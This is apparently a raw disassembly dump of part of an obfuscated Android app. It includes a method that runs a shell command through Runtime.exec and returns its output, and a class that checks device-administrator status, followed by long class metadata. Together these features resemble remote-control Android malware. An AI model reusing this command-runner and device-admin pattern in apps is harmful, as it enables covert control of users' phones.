    00087c1asput v4, Lcmf0/c3b5bm90zq/patch/b;->a:I
    00087c1egoto :goto_4c
    00087c20invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
    00087c26move-result-object v5
    00087c28invoke-virtual {v5, v4}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
    00087c2emove-result-object v5
    00087c30invoke-virtual {v5}, Ljava/lang/Process;->waitFor()I
    00087c36invoke-virtual {v5}, Ljava/lang/Process;->exitValue()I
    00087c3cmove-result v4
    00087c3egoto :goto_39
    00087c40new-instance v4, Ljava/io/BufferedReader;
    00087c44new-instance v1, Ljava/io/InputStreamReader;
    00087c48invoke-virtual {v5}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
    00087c4emove-result-object v5
    00087c50invoke-direct {v1, v5}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
    00087c56invoke-direct {v4, v1}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
    00087c5cinvoke-virtual {v4}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
    00087c62move-result-object v5
    00087c64if-eqz v5, :cond_75
    00087c68new-instance v1, Ljava/lang/StringBuilder;
    00087c6cinvoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    00087c72invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087c78sget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->g:Ljava/lang/String;
    00087c7cinvoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087c82invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00087c88move-result-object v5
    00087c8ainvoke-virtual {v0, v5}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
    00087c90goto :goto_5a
    00087c92invoke-virtual {v0}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
    00087c98move-result-object v4
    00087c9ainvoke-virtual {v4}, Ljava/lang/String;->length()I
    00087ca0move-result v5
    00087ca2if-nez v5, :cond_81
    00087ca6const-string v4, "return null"
    00087caareturn-object v4
    00087cacmove-exception v4
    00087caenew-instance v5, Ljava/lang/StringBuilder;
    00087cb2invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
    00087cb8const-string v0, "error! >"
    00087cbcinvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087cc2invoke-virtual {v4}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
    00087cc8move-result-object v4
    00087ccainvoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087cd0sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->g:Ljava/lang/String;
    00087cd4invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087cdainvoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00087ce0move-result-object v4
    00087ce2return-object v4
    00087b98
    00087ce4
    00087ce4 struct try_item
    00087ce4 start_addr uint32 0x87bb2
    00087ce8 insn_count int 111
    00087cea handler_off uint16 0x87ced
    00087cec
    00087cec struct encoded_catch_handler_list
    00087cec size int 1
    00087ced
    00087ced struct encoded_catch_handler ← 0x87cea
    00087ced size int64 1
    00087cee handlers[0].type_idx int 0x5994
    00087cf0 handlers[0].addr uint32 0x87cac
    00087cf2
    00087cf2 // align 0x4
    00087cf4
    00087cf4cmf0.c3b5bm90zq.patch.c::<init>(android.content.Context):
    00087d04invoke-direct {v3}, Ljava/lang/Object;-><init>()V
    00087d0aiput-object v4, v3, Lcmf0/c3b5bm90zq/patch/c;->a:Landroid/content/Context;
    00087d0eiget-object v4, v3, Lcmf0/c3b5bm90zq/patch/c;->a:Landroid/content/Context;
    00087d12const-string v0, "device_policy"
    00087d16invoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00087d1cmove-result-object v4
    00087d1echeck-cast v4, Landroid/app/admin/DevicePolicyManager;
    00087d22iput-object v4, v3, Lcmf0/c3b5bm90zq/patch/c;->b:Landroid/app/admin/DevicePolicyManager;
    00087d26new-instance v4, Landroid/content/ComponentName;
    00087d2aiget-object v0, v3, Lcmf0/c3b5bm90zq/patch/c;->a:Landroid/content/Context;
    00087d2einvoke-virtual {v0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
    00087d34move-result-object v0
    00087d36new-instance v1, Ljava/lang/StringBuilder;
    00087d3ainvoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    00087d40iget-object v2, v3, Lcmf0/c3b5bm90zq/patch/c;->a:Landroid/content/Context;
    00087d44invoke-virtual {v2}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
    00087d4amove-result-object v2
    00087d4cinvoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087d52const-string v2, ".C2"
    00087d56invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087d5cinvoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00087d62move-result-object v1
    00087d64invoke-direct {v4, v0, v1}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
    00087d6aiput-object v4, v3, Lcmf0/c3b5bm90zq/patch/c;->c:Landroid/content/ComponentName;
    00087d6ereturn-void
    00087cf4
    00087d70
    00087d70cmf0.c3b5bm90zq.patch.c::a():
    00087d80iget-object v0, v2, Lcmf0/c3b5bm90zq/patch/c;->b:Landroid/app/admin/DevicePolicyManager;
    00087d84iget-object v1, v2, Lcmf0/c3b5bm90zq/patch/c;->c:Landroid/content/ComponentName;
    00087d88invoke-virtual {v0, v1}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
    00087d8emove-result v0
    00087d90return v0
    00087d70
    00087d92
    00087d92 // align 0x4
    00087d94
    00087d94cmf0.c3b5bm90zq.patch.c::b():
    00087da4iget-object v0, v1, Lcmf0/c3b5bm90zq/patch/c;->c:Landroid/content/ComponentName;
    00087da8return-object v0
    00087d94
    00087daa
    00087daa struct class_data_item
    00087daa static_fields_size int 6
    00087dab instance_fields_size int 0
    00087dac direct_methods_size int 1
    00087dad virtual_methods_size int 0
    00087dae
    00087dae struct encoded_field
    00087dae field_idx_diff int 0x9838
    00087daf access_flags uint32 0x00000018 ; ACC_STATIC|ACC_FINAL
    00087db0
    00087db0 struct encoded_field
    00087db0 field_idx_diff int 0x9840
    00087db1 access_flags uint32 0x00000018 ; ACC_STATIC|ACC_FINAL
    00087db2
    00087db2 struct encoded_field
    00087db2 field_idx_diff int 0x9848
    00087db3 access_flags uint32 0x00000018 ; ACC_STATIC|ACC_FINAL
    00087db4
    00087db4 struct encoded_field
    00087db4 field_idx_diff int 0x9850
    00087db5 access_flags uint32 0x00000018 ; ACC_STATIC|ACC_FINAL
    00087db6
    00087db6 struct encoded_field
    00087db6 field_idx_diff int 0x9858
    00087db7 access_flags uint32 0x00000018 ; ACC_STATIC|ACC_FINAL
    00087db8
    00087db8 struct encoded_field
    00087db8 field_idx_diff int 0x9860
    00087db9 access_flags uint32 0x00000018 ; ACC_STATIC|ACC_FINAL
    00087dba
    00087dba struct encoded_method
    00087dba method_idx_diff int 0x10688
    00087dbc access_flags uint32 0x00010008 ; ACC_STATIC|ACC_CONSTRUCTOR
    00087dbf code_off uint32 0x43cd0
    00087dc2
    00087dc2 struct class_data_item
    00087dc2 static_fields_size int 0
    00087dc3 instance_fields_size int 1
    00087dc4 direct_methods_size int 1
    00087dc5 virtual_methods_size int 3
    00087dc6
    00087dc6 struct encoded_field
    00087dc6 field_idx_diff int 0x9868
    00087dc7 access_flags uint32 0x00001010 ; ACC_FINAL|ACC_SYNTHETIC
    00087dc9
    00087dc9 struct encoded_method
    00087dc9 method_idx_diff int 0x10690
    00087dcb access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00087dce code_off uint32 0x43dfc
    00087dd1
    00087dd1 struct encoded_method
    00087dd1 method_idx_diff int 0x10698
    00087dd3 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087dd4 code_off uint32 0x43e18
    00087dd7
    00087dd7 struct encoded_method
    00087dd7 method_idx_diff int 0x106a0
    00087dd8 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087dd9 code_off uint32 0x43e34
    00087ddc
    00087ddc struct encoded_method
    00087ddc method_idx_diff int 0x106a8
    00087ddd access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087dde code_off uint32 0x43e50
    00087de1
    00087de1 struct class_data_item
    00087de1 static_fields_size int 0
    00087de2 instance_fields_size int 4
    00087de3 direct_methods_size int 1
    00087de4 virtual_methods_size int 3
    00087de5
    00087de5 struct encoded_field
    00087de5 field_idx_diff int 0x9870
    00087de6 access_flags uint32 0x00000000
    00087de7
    00087de7 struct encoded_field
    00087de7 field_idx_diff int 0x9878
    00087de8 access_flags uint32 0x00000000
    00087de9
    00087de9 struct encoded_field
    00087de9 field_idx_diff int 0x9880
    00087dea access_flags uint32 0x00000000
    00087deb
    00087deb struct encoded_field
    00087deb field_idx_diff int 0x9888
    00087dec access_flags uint32 0x00000000
    00087ded
    00087ded struct encoded_method
    00087ded method_idx_diff int 0x106b0
    00087def access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    00087df2 code_off uint32 0x43e6c
    00087df5
    00087df5 struct encoded_method
    00087df5 method_idx_diff int 0x106b8
    00087df7 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087df8 code_off uint32 0x43f8c
    00087dfb
    00087dfb struct encoded_method
    00087dfb method_idx_diff int 0x106c0
    00087dfc access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087dfd code_off uint32 0x43fa4
    00087e00
    00087e00 struct encoded_method
    00087e00 method_idx_diff int 0x106c8
    00087e01 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e02 code_off uint32 0x43fc4
    00087e05
    00087e05 struct class_data_item
    00087e05 static_fields_size int 0
    00087e06 instance_fields_size int 1
    00087e07 direct_methods_size int 1
    00087e08 virtual_methods_size int 5
    00087e09
    00087e09 struct encoded_field
    00087e09 field_idx_diff int 0x9890
    00087e0a access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    00087e0b
    00087e0b struct encoded_method
    00087e0b method_idx_diff int 0x106d0
    00087e0d access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    00087e10 code_off uint32 0x43fe4
    00087e13
    00087e13 struct encoded_method
    00087e13 method_idx_diff int 0x106d8
    00087e15 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e16 code_off uint32 0x44000
    00087e19
    00087e19 struct encoded_method
    00087e19 method_idx_diff int 0x106e0
    00087e1a access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e1b code_off uint32 0x44020
    00087e1e
    00087e1e struct encoded_method
    00087e1e method_idx_diff int 0x106e8
    00087e1f access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e20 code_off uint32 0x44040
    00087e23
    00087e23 struct encoded_method
    00087e23 method_idx_diff int 0x106f0
    00087e24 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e25 code_off uint32 0x4407c
    00087e28
    00087e28 struct encoded_method
    00087e28 method_idx_diff int 0x106f8
    00087e29 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e2a code_off uint32 0x440b8
    00087e2d
    00087e2d struct class_data_item
    00087e2d static_fields_size int 0
    00087e2e instance_fields_size int 0
    00087e2f direct_methods_size int 0
    00087e30 virtual_methods_size int 3
    00087e31
    00087e31 struct encoded_method
    00087e31 method_idx_diff int 0x11958
    00087e33 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    00087e35 code_off uint32 0x00000000
    00087e36
    00087e36 struct encoded_method
    00087e36 method_idx_diff int 0x11960
    00087e37 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    00087e39 code_off uint32 0x00000000
    00087e3a
    00087e3a struct encoded_method
    00087e3a method_idx_diff int 0x11968
    00087e3b access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    00087e3d code_off uint32 0x00000000
    00087e3e
    00087e3e struct class_data_item
    00087e3e static_fields_size int 0
    00087e3f instance_fields_size int 1
    00087e40 direct_methods_size int 2
    00087e41 virtual_methods_size int 18
    00087e42
    00087e42 struct encoded_field
    00087e42 field_idx_diff int 0x98e0
    00087e43 access_flags uint32 0x00000000
    00087e44
    00087e44 struct encoded_method
    00087e44 method_idx_diff int 0x10948
    00087e46 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00087e49 code_off uint32 0x45d58
    00087e4c
    00087e4c struct encoded_method
    00087e4c method_idx_diff int 0x10950
    00087e4d access_flags uint32 0x0000000c ; ACC_PROTECTED|ACC_STATIC
    00087e4e code_off uint32 0x45d70
    00087e51
    00087e51 struct encoded_method
    00087e51 method_idx_diff int 0x10958
    00087e53 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e54 code_off uint32 0x45d9c
    00087e57
    00087e57 struct encoded_method
    00087e57 method_idx_diff int 0x10960
    00087e58 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e59 code_off uint32 0x45dc0
    00087e5c
    00087e5c struct encoded_method
    00087e5c method_idx_diff int 0x10970
    00087e5d access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e5e code_off uint32 0x45dec
    00087e61
    00087e61 struct encoded_method
    00087e61 method_idx_diff int 0x10978
    00087e62 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e63 code_off uint32 0x45e18
    00087e66
    00087e66 struct encoded_method
    00087e66 method_idx_diff int 0x10980
    00087e67 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e68 code_off uint32 0x45e48
    00087e6b
    00087e6b struct encoded_method
    00087e6b method_idx_diff int 0x10988
    00087e6c access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e6d code_off uint32 0x45e78
    00087e70
    00087e70 struct encoded_method
    00087e70 method_idx_diff int 0x10990
    00087e71 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e72 code_off uint32 0x45ea8
    00087e75
    00087e75 struct encoded_method
    00087e75 method_idx_diff int 0x10998
    00087e76 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e77 code_off uint32 0x45ed8
    00087e7a
    00087e7a struct encoded_method
    00087e7a method_idx_diff int 0x109a0
    00087e7b access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e7c code_off uint32 0x45f08
    00087e7f
    00087e7f struct encoded_method
    00087e7f method_idx_diff int 0x109b8
    00087e80 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e81 code_off uint32 0x45f38
    00087e84
    00087e84 struct encoded_method
    00087e84 method_idx_diff int 0x109c8
    00087e85 access_flags uint32 0x00000004 ; ACC_PROTECTED
    00087e86 code_off uint32 0x45f5c
    00087e89
    00087e89 struct encoded_method
    00087e89 method_idx_diff int 0x109d0
    00087e8a access_flags uint32 0x00000004 ; ACC_PROTECTED
    00087e8b code_off uint32 0x45f88
    00087e8e
    00087e8e struct encoded_method
    00087e8e method_idx_diff int 0x109e0
    00087e8f access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e90 code_off uint32 0x45fb8
    00087e93
    00087e93 struct encoded_method
    00087e93 method_idx_diff int 0x109e8
    00087e94 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e95 code_off uint32 0x45fe4
    00087e98
    00087e98 struct encoded_method
    00087e98 method_idx_diff int 0x109f0
    00087e99 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e9a code_off uint32 0x46010
    00087e9d
    00087e9d struct encoded_method
    00087e9d method_idx_diff int 0x109f8
    00087e9e access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087e9f code_off uint32 0x46034
    00087ea2
    00087ea2 struct encoded_method
    00087ea2 method_idx_diff int 0x10a00
    00087ea3 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087ea4 code_off uint32 0x46058
    00087ea7
    00087ea7 struct encoded_method
    00087ea7 method_idx_diff int 0x10a08
    00087ea8 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087ea9 code_off uint32 0x4607c
    00087eac
    00087eac struct class_data_item
    00087eac static_fields_size int 0
    00087ead instance_fields_size int 4
    00087eae direct_methods_size int 7
    00087eaf virtual_methods_size int 42
    00087eb0
    00087eb0 struct encoded_field
    00087eb0 field_idx_diff int 0x9898
    00087eb1 access_flags uint32 0x00000010 ; ACC_FINAL
    00087eb2
    00087eb2 struct encoded_field
    00087eb2 field_idx_diff int 0x98a8
    00087eb3 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00087eb4
    00087eb4 struct encoded_field
    00087eb4 field_idx_diff int 0x98b0
    00087eb5 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00087eb6
    00087eb6 struct encoded_field
    00087eb6 field_idx_diff int 0x98b8
    00087eb7 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00087eb8
    00087eb8 struct encoded_method
    00087eb8 method_idx_diff int 0x10700
    00087eba access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00087ebd code_off uint32 0x440f4
    00087ec0
    00087ec0 struct encoded_method
    00087ec0 method_idx_diff int 0x10708
    00087ec1 access_flags uint32 0x00010002 ; ACC_PRIVATE|ACC_CONSTRUCTOR
    00087ec4 code_off uint32 0x44110
    00087ec7
    00087ec7 struct encoded_method
    00087ec7 method_idx_diff int 0x10710
    00087ec8 access_flags uint32 0x00010002 ; ACC_PRIVATE|ACC_CONSTRUCTOR
    00087ecb code_off uint32 0x4412c
    00087ece
    00087ece struct encoded_method
    00087ece method_idx_diff int 0x10718
    00087ecf access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00087ed0 code_off uint32 0x44178
    00087ed3
    00087ed3 struct encoded_method
    00087ed3 method_idx_diff int 0x10720
    00087ed4 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00087ed5 code_off uint32 0x4419c
    00087ed8
    00087ed8 struct encoded_method
    00087ed8 method_idx_diff int 0x10728
    00087ed9 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00087eda code_off uint32 0x44244
    00087edd
    00087edd struct encoded_method
    00087edd method_idx_diff int 0x10730
    00087ede access_flags uint32 0x00000002 ; ACC_PRIVATE
    00087edf code_off uint32 0x442cc
    00087ee2
    00087ee2 struct encoded_method
    00087ee2 method_idx_diff int 0x10738
    00087ee4 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087ee5 code_off uint32 0x44320
    00087ee8
    00087ee8 struct encoded_method
    00087ee8 method_idx_diff int 0x10740
    00087ee9 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087eea code_off uint32 0x44344
    00087eed
    00087eed struct encoded_method
    00087eed method_idx_diff int 0x10748
    00087eee access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00087ef0 code_off uint32 0x44370
    00087ef3
    00087ef3 struct encoded_method
    00087ef3 method_idx_diff int 0x10750
    00087ef4 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087ef5 code_off uint32 0x44388
    00087ef8
    00087ef8 struct encoded_method
    00087ef8 method_idx_diff int 0x10758
    00087ef9 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087efa code_off uint32 0x443d0
    00087efd
    00087efd struct encoded_method
    00087efd method_idx_diff int 0x10760
    00087efe access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087eff code_off uint32 0x44408
    00087f02
    00087f02 struct encoded_method
    00087f02 method_idx_diff int 0x10768
    00087f03 access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00087f05 code_off uint32 0x44444
    00087f08
    00087f08 struct encoded_method
    00087f08 method_idx_diff int 0x10770
    00087f09 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087f0a code_off uint32 0x44460
    00087f0d
    00087f0d struct encoded_method
    00087f0d method_idx_diff int 0x10778
    00087f0e access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00087f10 code_off uint32 0x44494
    00087f13
    00087f13 struct encoded_method
    00087f13 method_idx_diff int 0x10780
    00087f14 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087f15 code_off uint32 0x444b0
    00087f18
    00087f18 struct encoded_method
    00087f18 method_idx_diff int 0x10788
    00087f19 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087f1a code_off uint32 0x444e8
    00087f1d
    00087f1d struct encoded_method
    00087f1d method_idx_diff int 0x10790
    00087f1e access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00087f20 code_off uint32 0x44520
    00087f23
    00087f23 struct encoded_method
    00087f23 method_idx_diff int 0x10798
    00087f24 access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00087f26 code_off uint32 0x4453c
    00087f29
    00087f29 struct encoded_method
    00087f29 method_idx_diff int 0x107a0
    00087f2a access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087f2b code_off uint32 0x44558
    00087f2e
    00087f2e struct encoded_method
    00087f2e method_idx_diff int 0x107a8
    00087f2f access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00087f31 code_off uint32 0x44590
    00087f34
    00087f34 struct encoded_method
    00087f34 method_idx_diff int 0x107b0
    00087f35 access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00087f37 code_off uint32 0x445ac
    00087f3a
    00087f3a struct encoded_method
    00087f3a method_idx_diff int 0x107b8
    00087f3b access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00087f3d code_off uint32 0x445c8
    00087f40
    00087f40 struct encoded_method
    00087f40 method_idx_diff int 0x107c0
    00087f41 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087f42 code_off uint32 0x445e4
    00087f45
    00087f45 struct encoded_method
    00087f45 method_idx_diff int 0x107c8
    00087f46 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087f47 code_off uint32 0x44600
    00087f4a
    00087f4a struct encoded_method
    00087f4a method_idx_diff int 0x107d8
    00087f4b access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087f4c code_off uint32 0x44734
    00087f4f
    00087f4f struct encoded_method
    00087f4f method_idx_diff int 0x107e0
    00087f50 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087f51 code_off uint32 0x4476c
    00087f54
    00087f54 struct encoded_method
    00087f54 method_idx_diff int 0x107e8
    00087f55 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087f56 code_off uint32 0x447d4
    00087f59
    00087f59 struct encoded_method
    00087f59 method_idx_diff int 0x107f0
    00087f5a access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00087f5c code_off uint32 0x4480c
    00087f5f
    00087f5f struct encoded_method
    00087f5f method_idx_diff int 0x107f8
    00087f60 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087f61 code_off uint32 0x44824
    00087f64
    00087f64 struct encoded_method
    00087f64 method_idx_diff int 0x10800
    00087f65 access_flags uint32 0x00000004 ; ACC_PROTECTED
    00087f66 code_off uint32 0x44848
    00087f69
    00087f69 struct encoded_method
    00087f69 method_idx_diff int 0x10808
    00087f6a access_flags uint32 0x00000004 ; ACC_PROTECTED
    00087f6b code_off uint32 0x4487c
    00087f6e
    00087f6e struct encoded_method
    00087f6e method_idx_diff int 0x10810
    00087f6f access_flags uint32 0x00000004 ; ACC_PROTECTED
    00087f70 code_off uint32 0x448b4
    00087f73
    00087f73 struct encoded_method
    00087f73 method_idx_diff int 0x10820
    00087f74 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087f75 code_off uint32 0x448ec
    00087f78
    00087f78 struct encoded_method
    00087f78 method_idx_diff int 0x10828
    00087f79 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087f7a code_off uint32 0x44920
    00087f7d
    00087f7d struct encoded_method
    00087f7d method_idx_diff int 0x10830
    00087f7e access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00087f80 code_off uint32 0x44954
    00087f83
    00087f83 struct encoded_method
    00087f83 method_idx_diff int 0x10838
    00087f84 access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00087f86 code_off uint32 0x4496c
    00087f89
    00087f89 struct encoded_method
    00087f89 method_idx_diff int 0x10840
    00087f8a access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087f8b code_off uint32 0x44984
    00087f8e
    00087f8e struct encoded_method
    00087f8e method_idx_diff int 0x10848
    00087f8f access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00087f91 code_off uint32 0x449b8
    00087f94
    00087f94 struct encoded_method
    00087f94 method_idx_diff int 0x10850
    00087f95 access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00087f97 code_off uint32 0x449d0
    00087f9a
    00087f9a struct encoded_method
    00087f9a method_idx_diff int 0x10858
    00087f9b access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00087f9d code_off uint32 0x449e8
    00087fa0
    00087fa0 struct encoded_method
    00087fa0 method_idx_diff int 0x10860
    00087fa1 access_flags uint32 0x00001041 ; ACC_PUBLIC|ACC_VOLATILE|ACC_BRIDGE|ACC_SYNTHETIC
    00087fa3 code_off uint32 0x44a00
    00087fa6
    00087fa6 struct encoded_method
    00087fa6 method_idx_diff int 0x10868
    00087fa7 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087fa8 code_off uint32 0x44a1c
    00087fab
    00087fab struct encoded_method
    00087fab method_idx_diff int 0x10870
    00087fac access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087fad code_off uint32 0x44a50
    00087fb0
    00087fb0 struct encoded_method
    00087fb0 method_idx_diff int 0x10878
    00087fb1 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087fb2 code_off uint32 0x44a84
    00087fb5
    00087fb5 struct encoded_method
    00087fb5 method_idx_diff int 0x10880
    00087fb6 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087fb7 code_off uint32 0x44ab8
    00087fba
    00087fba struct encoded_method
    00087fba method_idx_diff int 0x10888
    00087fbb access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087fbc code_off uint32 0x44af8
    00087fbf
    00087fbf struct encoded_method
    00087fbf method_idx_diff int 0x10890
    00087fc0 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00087fc1 code_off uint32 0x44b64
    00087fc4
    00087fc4 struct class_data_item
    00087fc4 static_fields_size int 0
    00087fc5 instance_fields_size int 2
    00087fc6 direct_methods_size int 1
    00087fc7 virtual_methods_size int 0
    00087fc8
    00087fc8 struct encoded_field
    00087fc8 field_idx_diff int 0x98c0
    00087fc9 access_flags uint32 0x00000000
    00087fca
    00087fca struct encoded_field
    00087fca field_idx_diff int 0x98c8
    00087fcb access_flags uint32 0x00000000
    00087fcc
    00087fcc struct encoded_method
    00087fcc method_idx_diff int 0x108a0
    00087fce access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00087fd1 code_off uint32 0x44bbc
    00087fd4
    00087fd4 struct class_data_item
    00087fd4 static_fields_size int 0
    00087fd5 instance_fields_size int 2
    00087fd6 direct_methods_size int 6
    00087fd7 virtual_methods_size int 0
    00087fd8
    00087fd8 struct encoded_field
    00087fd8 field_idx_diff int 0x98d0
    00087fd9 access_flags uint32 0x00000000
    00087fda
    00087fda struct encoded_field
    00087fda field_idx_diff int 0x98d8
    00087fdb access_flags uint32 0x00000000
    00087fdc
    00087fdc struct encoded_method
    00087fdc method_idx_diff int 0x108a8
    00087fde access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00087fe1 code_off uint32 0x44bd4
    00087fe4
    00087fe4 struct encoded_method
    00087fe4 method_idx_diff int 0x108b0
    00087fe5 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00087fe8 code_off uint32 0x44bf4
    00087feb
    00087feb struct encoded_method
    00087feb method_idx_diff int 0x108b8
    00087fec access_flags uint32 0x0000000a ; ACC_PRIVATE|ACC_STATIC
    00087fed code_off uint32 0x44c2c
    00087ff0
    00087ff0 struct encoded_method
    00087ff0 method_idx_diff int 0x108c0
    00087ff1 access_flags uint32 0x0000000a ; ACC_PRIVATE|ACC_STATIC
    00087ff2 code_off uint32 0x44e30
    00087ff5
    00087ff5 struct encoded_method
    00087ff5 method_idx_diff int 0x108c8
    00087ff6 access_flags uint32 0x0000000a ; ACC_PRIVATE|ACC_STATIC
    00087ff7 code_off uint32 0x450c8
    00087ffa
    00087ffa struct encoded_method
    00087ffa method_idx_diff int 0x108d0
